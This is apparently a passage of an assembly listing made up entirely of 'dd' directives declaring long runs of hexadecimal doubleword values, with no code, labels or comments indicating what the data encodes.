8DCEB1C9h, 0AC153400h dd 5F5E13A8h, 0C2CF05Bh, 3E1DE70Fh, 0B10AAC8h, 0C8083393h dd 288A24E6h, 1761F037h dd 4A01B6AEh, 506980AFh, 0AC77562Bh, 47ED1D15h, 3CE0069h dd 31428611h, 44902940h, 2B77237Fh, 32BF4A80h, 0D118854Ch dd 1EEA7CC3h, 33D37F00h, 2A7E213h, 967395E9h, 0C868AE97h dd 0AC0C5386h, 489B6F2Bh, 77EB0F5Dh, 578E8DAAh, 3CB1CA2Ch dd 898BC913h, 4501100h, 0BAD65F8h, 0B4A25481h, 43F0C413h dd 0ED808AD3h, 0D6BB24FDh, 12B70398h, 19112607h, 57189EA5h dd 453661C4h, 1FE40901h, 1D904C3Dh, 1F599D8h, 0F0960750h dd 73F933B7h, 0ECEF00C8h, 0DB4CDFE7h, 70313A9h, 0B380448Ch dd 0A6730130h, 8184E867h, 52C285Ah, 90048F44h, 0C40116EFh dd 294BB532h, 448B240Ch, 30CCCD3Ch, 45A2A104h, 0F279C0F3h dd 0BE9FBB09h, 6EF69E1Dh, 8122A38Fh, 6C6DDED0h, 0C7BC499Ch dd 90B7EAB3h, 578D9740h, 3A382494h, 3A5100D8h, 0AB54A538h dd 129B7E72h, 230EB5E8h, 80887FA4h, 9867E38Dh, 4921F278h dd 51C06948h, 0EC770AF3h, 1812B5h, 0C5702C7Ah, 0E8920FEFh dd 1337D216h, 53E82518h, 8064916Ch, 0D30A9BF4h, 45010C5Ch dd 0CB3D781Ch, 844911B5h, 50F76860h, 6FC8496h, 0C3ADEAF5h dd 0F11B10CBh, 0C0296D6Eh, 0F82408Fh, 1E38C639h, 0F6E62C00h dd 0A0CFDC6Ch, 7490782Eh, 0CC9B30AEh, 0BEEB7540h, 68B5A52Eh dd 8C613492h, 1006B9C2h, 8A1F9608h, 244449B6h, 7E64EB00h dd 0FC87D14Fh, 0C7320061h, 3171F3BBh, 31C147B5h, 40B26995h dd 209BE428h, 261F4CA0h, 3B0984Dh, 52EF4ADFh, 36912188h dd 9E1910BEh, 0DF106C58h, 0F2C8138Eh, 0BF28B421h, 6E299872h dd 0CC1F00A0h, 0A5FF230Ch, 38E43B12h, 3F9148D1h, 87EF2841h dd 809E6D01h, 7C626139h, 462A2Fh, 6038156Bh, 0B1C4731Fh dd 0D88EB900h, 0ED64117Bh, 16DC0757h, 4FBE05D5h, 90D41BE6h dd 3B23AC0Ch, 20575886h, 0EB171C29h, 2C4047ADh, 9DEDC939h dd 0BFC8A85Fh, 0FB440056h, 0F852BCA2h, 8B00510Fh, 0E34CDC59h dd 3A6BFD1h, 0E903183Eh, 0F90023C9h, 1568D985h, 33077EAh dd 0BBED21E3h, 67902ABFh, 900049A9h, 6DDAF317h, 0E83B18Bh dd 78B316E6h, 0CF8CC020h, 3001C306h, 17B4B5AAh, 8C409F2Ah dd 989C55B2h, 9E34A1CBh, 0E438F610h, 0E6560F00h, 8A685BCBh dd 10E80EF3h, 2602B87Ch, 8481B796h, 70365C3Eh, 13345F8Fh dd 0D40441C8h, 4C49BA3Bh, 4B33404h, 1090974Ah, 0B46B6B4h dd 0CAF7025h, 0D17A4603h, 0CF3B2FA0h, 0C6B0D2Eh, 399CD20Ch dd 0EE9840E6h, 0D02AFC00h, 4755BBA3h, 0D3A03F2Dh, 1D057980h dd 38C6580h, 641C04A7h, 0E7071C60h, 6D72C03Ah, 18F6CBE3h dd 0FD4B5606h, 6197B1Fh, 0B704148Ch, 270F404Eh, 0E17DAC0Bh dd 6867DD89h, 82BC598Bh, 0E5539B00h, 0D1F9A40Ch, 67A8F448h dd 65D84713h, 38814B0Ch, 0C2E08Eh, 5E87FF95h, 4BFED01Ch dd 3010A1F7h, 4E9AE780h, 3CE30780h, 3B07E637h, 73791721h dd 0A00150EBh, 9A59CBDFh, 0D4F14B55h, 0A226D647h, 68E20010h dd 0B9C76184h, 0B300C937h, 0ACE4F408h, 61CBE8B8h, 797F29F2h dd 24C8808Bh, 0EBD0472Ch, 0E1E70387h, 0E89D5164h, 2A03293Dh dd 0E5048C7Eh, 51653360h, 83D7041Dh, 3E90028Dh, 2A08A264h dd 0ACB8A891h, 0A863FF50h, 0A9D22A0h, 8DF2388Eh, 0D12A0384h dd 792EEACBh, 0C6068884h, 3C21F636h, 7A2A6165h, 433D05E8h dd 0EC33CDh, 78B28A18h, 89005ABBh, 5160F4C8h, 0C606FF13h dd 0B987CD71h, 797483F0h, 0BD8E9C03h, 0C0908808h, 0FAEDC7ECh dd 49863C5Dh, 9D54B906h, 0DB0661E4h, 7FEB0729h, 92B6C40h dd 0A4A0E550h, 41CF91D0h, 0C3CA068Ah, 0A8DB5458h, 977815B7h dd 5C438486h, 2B4CC0Ch, 302AA498h, 0E0079026h, 0A3ED7791h dd 0A7ECCF40h, 0C9BE0060h, 0D1CA6601h, 1830A680h, 4A49D147h dd 4C0B3014h, 0A78DD111h, 90595D03h, 3101EDE2h, 0E8104E18h dd 0E684508Ah, 1239BE1Ah, 0EAFD121Eh, 4BB20842h, 2328B447h dd 16E14945h, 588A6940h, 809467FFh, 8A0D59EBh, 433A60D3h dd 0C6640A7Bh, 280A47Eh, 4A17CA16h, 404C5318h, 932594C7h dd 39007DC7h, 9053B151h, 0DE33E82h, 4E21C149h, 2179FD91h dd 7C036018h, 3C2B31DEh, 54E39058h, 1845A4F1h, 0D9623687h dd 0BD490B0Eh, 0B2344208h, 9A801727h, 0FAB1728Eh, 3E1E06F5h dd 0D0795106h, 0C33B0A00h, 0A77DD163h, 323024E8h, 0BC754FACh dd 14D838B7h, 786260CEh, 0E07FC551h, 89120890h, 50462DE2h dd 18E9498Fh, 610EFA14h, 0A9C899A4h, 773D42FBh, 0E541C707h dd 8C48CC64h, 4E2300FDh, 457D04DDh, 880473F2h, 5E1C3071h dd 40052CC2h, 242B670h, 89480423h, 0E8A15CE9h, 207D57CDh dd 20A6DB37h, 63303E50h, 2450F64Dh, 0EB989CB1h, 7D439B08h dd 413BF80Eh, 56104147h, 4A388082h, 0AB70AEDCh, 0D37025Ch dd 0B20E189Ah, 0B56815C0h, 0F2C4C200h, 0AE63ECAAh, 0FD2B81Ah dd 37599438h, 0F1D63243h, 1C7481E0h, 8BE53B3Fh, 80224001h dd 0B8F2692Eh, 89E07Fh, 0F0865D6h, 863CC6E6h, 388440DDh dd 7A07F2DFh, 0A1DDB01Ch, 201E4010h, 2740FB3Fh, 0AAF785EDh dd 0B9192CA8h, 77DB018Ah, 0CC6D5894h, 0E800D338h, 67787CAEh dd 2C97DD8Dh, 48885210h, 0A87ED504h, 0F7585F8h, 0A1D78B6Ah dd 342140A0h, 270114F9h, 70BDBCC5h, 1C316AADh, 715AC6DCh dd 7F380086h, 0E0B6E435h, 40C0747Dh, 17D199E1h, 9102391Ch dd 85B22280h, 6F7B7E49h, 8323080Eh, 0E0352F9Bh, 0E48CEC32h dd 68AE40AAh, 9C40CFF6h, 27126h, 85B91867h, 66B181FBh dd 7800F6ECh, 0CD425AC4h, 7F8C901Fh, 80E000D5h, 0DB3577E6h dd 100257C6h, 67013920h, 973862F6h, 0A7805D94h, 0E8895978h dd 1C41FA9Bh, 431C0222h, 0DE85B818h, 91B7B90h, 9B4B48h dd 22904038h, 215BEDh, 7486E1E9h, 590D2E61h, 0B2120A00h dd 2362F96Bh, 0EED80E84h, 0B0E077D3h, 289EDEE1h, 2E06BA90h dd 0B71D5EFAh, 67720840h, 6C000783h, 1C1840B2h, 0BE84001Ah dd 696FA9F2h, 0B8000BBCh, 5A8674BDh, 0E8B8138h, 6CDAE8E0h dd 0DE3767C0h, 0E000358h, 1618411Fh, 0B379761Ah, 0D5F8558Ch dd 0AB85004Dh, 0C6E4891Ah, 22006B01h, 0B619032Eh, 0A28776h dd 436C7570h, 79C0E71Ch, 3A8D9400h, 0E5DF302Ah, 0ABAA03AEh dd 0A44C2E63h, 321D12F0h, 0F6019300h, 48F9C4EFh, 76B1DA6h dd 6FC2C00Ch, 0C8D14244h, 0B1D43207h, 68306CDFh, 960A86h dd 1F61B05h, 0C5B90E06h, 6DA48500h, 0BB2727Ah, 385103C2h dd 8A345B47h, 4F2E390h, 62DC6D12h, 1958FF00h, 3F1E17h dd 0B618634Ah, 78454282h, 28B9680Bh, 3DAC0079h, 2980388Ah dd 2388175Eh, 0F67F04h, 774ECBDCh, 0A050BD74h, 0F2C97600h dd 0B5797D84h, 5034A58Bh, 0AF00D3A8h, 7DA104F3h, 17AF8DCh dd 6B9F9976h, 5964E3E6h, 0A535DC1Ch, 109018C0h, 162EBh dd 0C8AA6188h, 8F55186Ch, 8BF13903h, 6967D6h, 86730539h dd 0ED7FEBD8h, 5E4832Fh, 44001CD4h, 0A227869Ah, 5D3305BCh dd 8F6534h, 5E3DE3Ch, 0E90302A3h, 5AA55412h, 6BEFE089h dd 944300CDh, 804B561Ch, 0D31D60F9h, 41D691CCh, 7F0748D0h dd 77290149h, 0DC57516Dh, 5E1C585Ch, 0C14F3C80h, 0F2A3DFE9h dd 794BE0C5h, 0E178D906h, 39B11167h, 0E900FA09h, 0B92EC476h dd 0F53E3BB5h, 9F4ABB8Bh, 0B87C6D71h, 0D956FAEAh, 86087C84h dd 0C497EB53h, 9DA34016h, 92FA86h, 0C6FFCA34h, 66071487h dd 0B2AA21C1h, 80409874h dd 52CCDFE3h, 7A00CC5Dh, 18786C12h, 0C007B2BCh, 71090C08h dd 39A45C40h, 15DC0A65h, 0BAAC48E2h, 53370480h, 0AB6D7249h dd 0DCDC8E54h, 8675168Ch, 48E0C4DAh, 0A6800158h, 7F0D869Ch dd 76FA0065h, 152B36F0h, 99C05BCBh, 9C13E4A2h, 982D0770h dd 500D7755h, 6EBE6799h, 43D0E105h, 0C44203F8h, 5453080Eh dd 7FB10130h, 80460458h, 29D723B1h, 12EBD073h, 0A0828808h dd 21C01E1Ch, 8929CF06h, 0DBA000DDh, 2A58E430h, 880EC4EAh dd 67C61A36h, 50093266h, 92C71064h, 64E20263h, 48843199h dd 7B45A018h, 0E002040Dh, 0ACFB4767h, 88112428h, 0D5DC180h dd 7B254A85h, 0D23901FAh, 1F2F50ABh, 0E547004Eh, 0E70C0A5Fh dd 0CB0258Ah, 0B8612B87h, 5D170E18h, 0E59528h, 9E54CB57h dd 3F144D36h, 898F3130h, 9D43E4h, 502573DCh, 0D051D280h dd 0EF311900h, 0ED17BB66h, 0D5600539h, 0F52FDC5Ch, 5B46F828h dd 908DA502h, 40C9070Ah, 282ECA18h, 1F8045E3h, 0D9AC55h dd 0DB601346h, 0D7013F15h, 4073BAD4h, 76D8A883h, 489195DCh dd 3E90589Ah, 2E31008h, 4012C4F8h, 320D56BEh, 15130038h dd 46AED481h, 55E8483Dh, 0E7074B0Fh, 940F726Bh, 0E01503h dd 2C380C41h, 5F54A7A5h, 0B3CC4004h, 0F7484753h, 48146125h dd 0CC79F8h, 0A4A01864h, 33D8BC2Bh, 7DFD5700h, 0E641ACB6h dd 346FA4Ch, 404BF70Bh, 0E9A9D54h, 76803443h, 0FA12AD69h dd 3200CF72h, 5A836028h, 0CBE30D1Dh, 4228559Fh, 41309D0Ch dd 2DE1110h, 80978840h, 600D59BDh, 5400A4DCh, 701BACC2h dd 0C8A57D3h, 0C029D256h, 0E23DEB99h, 897B87FBh, 0DA5379B1h dd 0D400E5A3h, 3180E04h, 0D52F86Fh, 14D89BE5h, 8643DC90h dd 0CCCA4909h, 6CB02150h, 0F0803CE1h, 0B68A3DCh, 35E8A40Dh dd 8E180095h, 0EEC3CD7h, 7662AF7Eh, 15CD4583h, 198A638Bh dd 2C00E444h, 7058DB71h, 39FE173Eh, 0AE0122FAh, 0B7F60CB5h dd 21E0CCC7h, 51D7ED01h, 0C8D60B2Dh, 4869B0B5h, 52C053D8h dd 46D07629h, 31B22D3h, 0BE29CA09h, 0E5A9AF7Ah, 63EBF8D8h dd 0A9ED9C9h, 0E0004C50h, 0BCE6BAD7h, 23D77A3h, 0A1682ECFh dd 9C8287FFh, 0C800960Fh, 0E13D6E36h, 2A6164F0h, 9CCBBC6h dd 1B267F05h, 7DE0FC58h, 0B40B0E16h, 61B2D0C2h, 3D02450Ch dd 0B48774C4h, 97673444h, 0B2C2C0C9h, 0FE0436BCh, 71ECF71Fh dd 0EF1068BDh, 74CD288Bh, 0BC94C500h, 85E4F686h, 446404A4h dd 94AB404Eh, 0D5A86100h, 0DBD0E829h, 0E820458Ch, 2B0029CDh dd 0A9984EF0h, 9450DF5h, 0B04C43E3h, 387BBC00h, 5180ADE7h dd 8D4249Dh, 3690202Ch, 7918E6DEh, 1CC4E485h, 4EC19060h dd 10E8FF4Ch, 0E6C46D04h, 0C0B8277Fh, 0D07529D9h, 1722FB46h dd 29510C02h, 0E432FD50h, 0AC7C2944h, 181DD18Ch, 8FB702A1h dd 9D6FE2ECh, 0C1901841h, 0C460D617h, 0D8598C4Bh, 8679807Ch dd 436FEBD6h, 11822EDh, 3086A0A2h, 0E4FEE5A7h, 0D1044E24h dd 50AEA53h, 883AB8D5h, 0C7002023h, 54046341h, 62F70EC8h dd 0A8DFA3E3h, 73E7DA8h, 0C636F151h, 5CD3092Fh, 97E1D809h dd 809C9158h, 0BEFF79EDh, 2C36042Dh, 0E96143C6h, 0A3DD02B0h dd 613D7538h, 74FADF60h, 0AB9B83B4h, 8EF0D304h, 20063B79h dd 0E6F521C9h, 0AA7C21h, 59E55CD2h, 21C3690h, 6B972E14h dd 0DAEC0BB8h, 8E64A773h, 4B0BF01h, 30DDC452h, 0D7108672h dd 0A7E077EBh, 41738699h, 1596544Ch, 80809B64h, 2E00D5Bh dd 22684350h, 53BB0013h, 5E2E070Dh, 82B59E7Ah, 81902012h dd 0BE04ADA8h, 41F06820h, 1C60EE11h, 90807933h, 69A32C10h dd 841680F8h, 0F034308h, 6762E8A8h, 10667E01h, 9CD86C8Bh dd 0D84C26CDh, 0E7A30906h, 4C8324B2h, 391D1504h, 634E7339h dd 80A92E08h, 64ED733h, 9B1614D0h, 5B00FC41h, 0ABC25784h dd 0B003E4Ah, 0FADC7C6Ch, 791367B8h, 8F351FEBh, 30475810h dd 9C28B75Eh, 0C4A7B899h, 0F3601B44h, 0FE1F7585h, 0E993D9A8h dd 3DAAE4A4h, 53FE4C3Eh, 0EC05E494h, 909A14B2h, 59204B68h dd 0BBB36B00h, 37A34985h, 0F81C60BFh, 6560EE0Ch, 1614F0EEh dd 1FA8632Fh, 0EC6612E2h, 0E889029Ch, 2478D0BEh, 60DC8F53h dd 79750361h, 0C243099h, 1A465Ch, 7E36726Ah, 100D1Ch, 3355BC44h dd 0BD5E2617h, 309C4304h, 81006590h, 4873E0ABh, 0B1AD3F07h dd 0C4E0713Bh, 584A0C96h, 0E03A5899h, 18A261EFh, 0C08038D3h dd 0DE1D85BAh, 1F59102h, 485C1B0Eh, 0FCEE0B1Ch, 8E74067Ah dd 30347F18h, 8B76C2Ch, 832C1428h, 2B9368B1h, 1302FCB0h dd 2B83E7Fh, 7B494AD8h, 34519C42h, 0F1181D59h, 0F5304E00h dd 0CCF8E3F9h, 8AE117D2h, 23F83AE2h, 59220013h, 0F25C04C7h dd 11F1911Ch, 0E716B18h, 8C4555E7h, 2D9AC42h, 14C615D4h dd 1D797825h, 801F91FCh, 0B8BADB0h, 159E002Ah, 7A6F85C1h dd 0B8ACF691h, 28C73B02h, 0C406A3BBh, 0D6F10E34h, 432025DCh dd 103F46F8h, 74A1801h, 4DB56E59h, 5C1ACBCCh, 0CD880C02h dd 403CE0C0h, 22E446E6h, 0D68D0036h, 1E517F3Ch, 0B5025437h dd 0F6E6423Ah, 5A804211h, 270C13E4h, 51400995h, 0A316D848h dd 4E613F44h, 0E0B8D0CCh, 0D700AB44h, 4CE343D5h, 0B18BEAA4h dd 187A7160h, 466D004Bh, 0DCC27CBAh, 7F12069Bh, 2C02B476h dd 760912ACh, 867D8168h, 0FC3DCA4Ch, 0E09406DEh, 9C3BE340h dd 10E4A00Fh, 444A483Dh, 4C68887Fh, 9E074E7Fh, 0CBE81D31h dd 0BC4050B5h, 0CA423C94h, 2FBE074Bh, 11364199h, 0D9AA7CA5h dd 2CE3E578h, 438EB8CCh, 175C0B65h, 5A40000Fh, 0B1A1546h dd 190A8F5Fh, 1E91CC1Fh, 0E4420D80h, 121F8A8Dh, 6AC0A81Dh dd 78BAEBCEh, 25D4908Fh, 9892CFE1h, 0F5805C1Fh, 0A3E89CE3h dd 0AF894ECh, 80A40F63h, 8FA42391h, 0EA001148h, 7FD7E051h dd 17549B60h, 211B449Dh, 6A129EE4h, 6EA3140Dh, 8F071881h dd 737EB8h, 801C709Bh, 78252585h, 9CC89818h, 644A5C02h dd 16C8C310h, 5C1084F0h, 0C1042708h, 0C4727050h, 0A03017F2h dd 10023112h, 32D10ED9h, 5C143E98h, 11ABC8F4h, 29D88055h dd 8CC3D074h, 60EE2145h, 0B06404h, 24D410C9h, 56BD15D1h dd 0DC4F624Fh, 0C9003273h, 1EB8CC0Fh, 3DE0023Bh, 4BAAE63Fh dd 2E9F9C85h, 20233Ch, 70EF5C4Ch, 0EE26040Dh, 551EECEAh dd 61C989C0h, 387BBCB5h, 0A2A668FCh, 8E780FDBh, 80B764E1h dd 848289Bh, 3B584B18h, 241F0A3Fh, 0DDE3015Fh, 0D0BFDA1Eh dd 0A81F2191h, 0C7CBD478h, 1390447Eh, 4AF68F8h, 12A52C20h dd 49D4B400h, 8066DECCh, 0E57E46BFh, 0F810E31Fh, 57109259h dd 3BA61C74h, 90C8F716h, 53015423h, 0CBD07729h, 0C289A463h dd 61949007h, 20B496E2h, 0DB243710h, 0CA3B28E8h, 0C6C44Fh dd 0E4459297h, 34A90336h, 0ADD6C227h, 238F7590h, 0C370D216h dd 3D978404h, 0CBDF5B00h, 525A8956h, 6B9B4C0h, 85D900FBh dd 0E34EB233h, 24B236CBh, 0DF1F0309h, 22802F14h, 6857CCD4h dd 863EB0h, 595A8CA9h, 0B4A1B12Fh, 0BF5FA00h, 0A8C009AFh dd 7DD72406h, 0E540890h, 0A9BA5201h, 0AC41D495h, 0FD009E08h dd 61166739h, 40A013C7h, 131F5B63h, 8AC4161Ch, 0C07AC87Ch dd 0CE34F693h, 6266B500h, 8B3704D0h, 8C8D316h, 0DEC0CF38h dd 21E63E3Ch, 59989D74h, 0DCC721h, 0EC58DE3Ch, 0C949E3F6h dd 66C08A51h, 0AF37F0FCh, 0BC0E636h, 5A23108Eh, 0AC4CD090h dd 0D3010381h dd 0EC9C3848h, 9F1F8C2Fh, 60328BDh, 8AC9835Bh, 3BCE61Dh dd 24FAC8E3h, 2C90555Ah, 28F6F86Ah, 0DFCCF206h, 0E129892Fh dd 0D1E2E8h, 0E347D459h, 0B53EDC31h, 6EF7104h, 70147B55h dd 748C1CE8h, 1B760277h, 8A36D09Ah, 0CD5BCCC8h, 60B87FF8h dd 7887A545h, 63F36AEDh, 0AECAB2B4h, 0DFE29482h, 18D3D4C1h dd 51860B74h, 8CC5C7EBh, 869BA580h, 7757D3h, 0FACFDDD7h dd 64CC8D6Eh, 0A0CAB0A8h, 5900D677h, 3C734320h, 903677E6h dd 254F7CA2h, 688E1FD7h, 54B3D16Fh, 1FB804ACh, 1F33E88Ch dd 80C90DBFh, 0D13DEC54h, 4851F30Eh, 72E2D584h, 311402F0h dd 0D67206D6h, 0A2893EFCh, 0B0AACA8Fh, 0F0C08B0h, 0DAB1DB01h dd 9041ABFBh, 627F8Ch, 9301DC53h, 3A44723Ch, 0AA4AF845h dd 9CAFDD13h, 0FBA09D00h, 6407C09h, 8143CD72h, 0C880584Eh dd 48A8C0Bh, 0D66057F8h, 0D0297229h, 0D4078F3h, 8429CEh dd 188A6615h, 2D6F5105h, 1F308F17h, 137D78C0h, 0C4A2B5ADh dd 0C216603h, 0E46804B3h, 0D4B78314h, 2081C713h, 0E01D1AD4h dd 0FCB1622Eh, 830C7C87h, 0DD872344h, 898B80BAh, 4E048E4h dd 0FE99C313h, 69C8BF43h, 9B00018Fh, 0DD57AFEAh, 27904D2Ah dd 0A800ACB2h, 0A37BBDE0h, 1AFF120Ch, 3AEB6855h, 825ED3E2h dd 0E22EB30Ch, 0B12E6E8h, 0B6BE40Fh, 189E7C69h, 0DF1005BAh dd 0CB685802h, 52487F60h, 1BD1EEBh, 0E8B4D153h, 44435DE0h dd 4B55B302h, 54DECBD8h, 7D7AC89Eh, 36C6280Bh, 60CCC6A2h dd 0D402A15Dh, 886030ABh, 0E2426251h, 38C51EA3h, 47147853h dd 5900C88Ah, 86054F0Bh, 0E700BD35h, 4185DF96h, 0A0DB154Dh dd 7E637A8h, 0B9E2B2D9h, 80D8BA62h, 35B86170h, 6600F7F9h dd 0A9D76749h, 2CF30A92h, 6164790Fh, 65A843E3h, 0F2986034h dd 7B78653Eh, 19DC9534h, 0C40650C2h, 0F7211C78h, 0E78480F8h dd 0F4AFB568h, 0FF7F3D05h, 0B6873CD1h, 6ED920C0h, 9C0E7679h dd 2ED7621Ch, 820DC72h, 0FD142797h, 187CA9h, 0D6070711h dd 6A87844Ch, 0B8200D43h, 4733A69h, 121C65AAh, 47E8F4FAh dd 42DD1650h, 71C00475h, 0E9B54F75h, 0B1BC0040h, 9888130Ah dd 0B41DCA90h, 9E8338AAh, 0E042Bh, 70339131h, 0C9F5CDE3h dd 3A12FCFAh, 0EC9706C0h, 801E8617h, 31E95962h, 0BAD50202h dd 0AAA2CC4Ch, 655F44D8h, 0C097BC48h, 2E4103Fh, 0BF80F043h dd 883A0D57h, 30714917h, 0FBC694D0h, 966A3AA4h, 9ED91D00h dd 4F911484h, 2743D30Fh, 0A656C0E5h, 24D769DFh, 1848EB7h dd 762E6ABh, 7D1AF072h, 84FC2E2Eh, 0E87CEE00h, 4D0ED084h dd 4B01F47Fh, 2F188F51h, 0DC396Ah, 549A9126h, 0BA17BC9Dh dd 0EB371040h, 3FAB0011h, 0DFF95B60h, 0F38A0431h, 0E294C804h dd 8D53263Ch, 0CF2F003Eh, 89639D3Fh, 0C3D10112h, 1C825441h dd 55E5D0B8h, 0AF6B0B05h, 5CB41140h, 0A624077h, 4124C04h dd 450E8BACh, 0A6182073h, 0C700C5F7h, 99B3D464h, 0E8ADB291h dd 0EB283B1Bh, 4AA1810h, 529778E2h, 0E0DB04D4h, 0C29D87C0h dd 40FA91FBh, 85AC1A38h, 0B2DE23Bh, 0B81A7184h, 0D9D47130h dd 6F51816h, 0CE7F0509h, 0F890A81Ah, 1417DC2Fh, 2ECA0934h dd 0C4525FDBh, 97806212h, 18386C1Ah, 59490h, 0F4A66633h dd 0ECD2F35Ch, 91180879h, 0C860772Bh, 0EA448607h, 90675ED2h dd 0B22172BCh, 6429C200h, 0BA582BB3h, 0EF7B07D1h, 0B19D3EBBh dd 0EED4C31Dh, 6D341440h, 0A286D496h, 21C971E9h, 0CF910FA4h dd 0AD10901Dh, 0A0FA8813h, 3C54B8E6h, 8E2461A8h, 0CE8D8487h dd 0B4F099CBh, 68AB03C8h, 41EC97BBh, 1D208013h, 0F08BF053h dd 30658F84h, 14E9BAB3h, 4496E812h, 71676778h, 1618B38Bh dd 0E7FB600Ch, 614DE126h, 9DBED0C3h, 1BCEF0FCh, 0B0C7254h dd 0A1C1F600h, 0DC05222Ah, 4B23E64h, 284860F3h, 45E893DFh dd 37A358C1h, 301ED77h, 81E45512h, 0F0F27CAAh, 3F004097h dd 0F0CCCF99h, 30A3B2Eh, 8F0347E7h, 50094A82h, 5BE3883Dh dd 4D075868h, 8F4C3E05h, 40419CC3h, 18B9541Dh, 100EFCh dd 5E933950h, 677BD7Eh, 0A02B0C24h, 0E840782h, 7C44CEh dd 3F144F90h, 0E2D604ACh, 0E9F49330h, 0B1B29705h, 63470ECCh dd 0CF00EC95h, 1769963Ah, 0AC02DD46h, 749BE922h, 0A3030004h dd 6B004087h, 0FD060CC4h, 95AF3B1Fh, 15AC4011h, 1E078E6h dd 440264FBh, 87D765D1h, 79EC4279h, 181779D8h, 108D09D4h dd 70105973h, 7B5B903Ch, 808FF848h, 21DDA99Eh, 0DA09AFC2h dd 18B20641h, 982D5B90h, 0BA8A09D0h, 2449D99Eh, 21181665h dd 0CE40D7A2h, 7949C8A9h, 0FAAD0117h, 1F31FD1h, 3220D997h dd 11E81030h, 0B37A5FC4h, 301EB220h, 0E31C0C6Ch, 53C09985h dd 0A5069A21h, 2536287Fh, 0AE901738h, 0B134D155h, 0ECDC2C7Ah dd 0C7018C21h, 0D190DF36h, 7AF89242h, 0FD60042Dh, 0A17593E8h dd 7FDDC094h, 0F823020h, 3D67F303h, 0D67537C0h, 263E09F7h dd 7868264Fh, 59E61340h, 7765001Ch, 9DFC57Dh, 0C8047538h dd 7170E71h, 0BA25A4ACh, 0BC95348Bh, 0D9802191h, 4311BE2Fh dd 8A0005E6h, 286AA52h, 606472FFh, 3B6B890Ah, 0B2079653h dd 57CFF9E5h, 8AD82E0h, 27F7B0E3h, 9C1785EEh, 60023408h dd 5921D15Fh, 577DE8EEh, 388E7F2Ch, 64E584B0h, 71C9B9Ch dd 0D5E10D5Ch, 58CEA8h, 0F10D54C0h, 24B343E1h, 89C578Eh dd 0EC488F07h, 716465Ch, 91DADFEDh, 588B1323h, 0BA76CD48h dd 0D76C1208h, 870B4CBh, 0FFA26008h, 1B467487h, 45CFF60Eh dd 954FF820h, 0DB3106F0h, 5ECC688Bh, 2D9FAC50h, 0CB5A00C2h dd 36EDFB1Ch, 1E0007BAh, 2922CA57h, 1E7A0444h, 4120E4h dd 36C691B1h, 11974702h, 0A214A6D4h, 6498F13Ch, 3E041C0Ch dd 62E93802h, 2AC4B4h, 2709C539h, 911F3604h, 0D5EDAB98h dd 13883223h, 3C0B8476h, 3ACA0A0h, 39C7AF4h, 0E92404D6h dd 0D4D442CBh, 0DF68CCACh, 4E76A35Ch, 0CFC0CCCh, 7221B71Fh dd 11587758h, 128E38B7h, 78B06C2Bh, 9990220Ah, 0F5191810h dd 0DE1D5E01h, 3A0D15D7h, 60168456h, 0D738251Bh, 0DC60D285h dd 2D548677h, 28169FEBh, 869EA407h, 0A9504021h, 12ADD715h dd 0F4CCD42Ah, 0FB07E038h, 6941B04Eh, 9D308FF0h, 41625A14h dd 388E878h, 8280327Ch, 0F97FA90Bh, 181DD9D0h, 9BB9078Dh dd 0E90FDF6Bh, 0EA2B5C07h, 4BCF80F4h, 366F2AEFh, 28060405h dd 841F50CEh, 0BA045B10h, 0D48043D0h, 21C89390h, 942A6118h dd 0F509B49h, 479C8134h, 14DEB280h, 8A074D7Dh, 0CF612976h dd 408198A4h, 58A568EEh, 419D3884h, 0E67A97A3h, 4815CC72h dd 162238B5h, 6A0B1898h, 0E86346CAh, 0DB7374h, 8D36F844h dd 0D1255C0Dh, 0C84920B1h, 2736C830h, 781141CEh, 8DC1B886h dd 80B1CF37h, 0CB7ACDF0h, 0BC817C19h, 87B8674h, 48495AA1h dd 0DBC0D0B8h, 2DE35B3Ch, 1094A40Ch, 3CD9CC01h, 0A954427Eh dd 198060DDh, 560E8CB1h, 9CE82AC6h, 0E27DD500h, 6C6E0235h dd 0E1141EB4h, 0AB758286h, 0DC7CDD04h, 4CCA6310h, 90C16190h dd 838C20E3h, 408215FDh, 43DE2C9Eh, 200C882Ah, 9D7FB925h dd 801C9110h, 67CB9EF3h, 5060E88Bh, 1479DCB1h, 0A8EBCA97h dd 4CC8AA00h, 398F5725h, 0F4BAEA09h, 201CDA95h, 6C9845CEh dd 0E8FD5024h, 394113E4h, 38C80A90h, 0FECA0B20h, 0E38863E3h dd 605BD9B2h, 2454C830h, 0C347340h, 7859339Ah, 59D02102h dd 72FACBE5h, 2488B918h dd 0C5A5082Ch, 909A33CEh, 778BD9C0h, 18138DD1h, 0D848893Fh dd 4C18B962h, 9FEE3C08h, 0FDDB9401h, 309934CBh, 1000242Dh dd 0D15B09ECh, 9C0254C6h, 6E2CC460h, 0E480C5E3h, 0AA706012h dd 189600E9h, 88E54809h, 222E9886h, 0EB78B44Ah, 36CA807Ch dd 8AA0D254h, 1C40B226h, 0F649D8A0h, 456320E0h, 2F8FF99Ch dd 0C3F4C20h, 854F5CD3h, 9A249A71h, 63608138h, 5001862h dd 0CB52EEC7h, 0FA02A917h, 0B7DB5D79h, 0A198ECBDh, 4C2C8FD0h dd 0E2495209h, 8E7038D1h, 2E038665h, 4815A325h, 31C7C921h dd 0C6704C29h, 996763C9h, 0F3760C06h, 4468DCE2h, 7C01718Dh dd 39CA865Dh, 0D8E0F7A0h, 23530E94h, 401D2899h, 6F461589h dd 0E030422Eh, 0BB2D8904h, 0DE4809E8h, 68522091h, 5C323D05h dd 98AD8261h, 54EA7800h, 4F4B49C9h, 5C9F2F2Eh, 7F0EB8C1h dd 44044C38h, 0B0EC9BE5h, 0E300DEFCh, 8FE73628h, 90A7D012h dd 0AE3806B0h, 7825A491h, 7C6EF400h, 0DFD91B8Ah, 96FE021Ah dd 0CA64A336h, 2001CDAh, 8BD0AB77h, 2D9BE709h, 1C48B0A0h dd 78066FA7h, 0FB57E56Dh, 16017DFAh, 80ACAF62h, 4CA9094h dd 7AC86515h, 13503E68h, 0E0C14318h, 93BAB94h, 0E4680660h dd 0C037325h, 0D7D4288Eh, 16F4B08Ah, 781C00C2h, 0AD96F03h dd 3C27B291h, 485C68A8h, 88C68286h, 0CF32800h, 17FF251Ch dd 75D6F802h, 0EB9B00F6h, 34051A0h, 8B58F14Bh, 8C19B8ECh dd 615DE100h, 0E241D244h, 0A0044D43h, 30550503h, 8A9831ACh dd 0DAE67AB1h, 1398DB49h, 20906192h, 0F62D650h, 7CC4C21h dd 0E4D1E7C9h, 3EA6069Eh, 0E546DF03h, 0AB70C785h, 6BE78A98h dd 444295Ch, 0FB105F00h, 863C6DF1h, 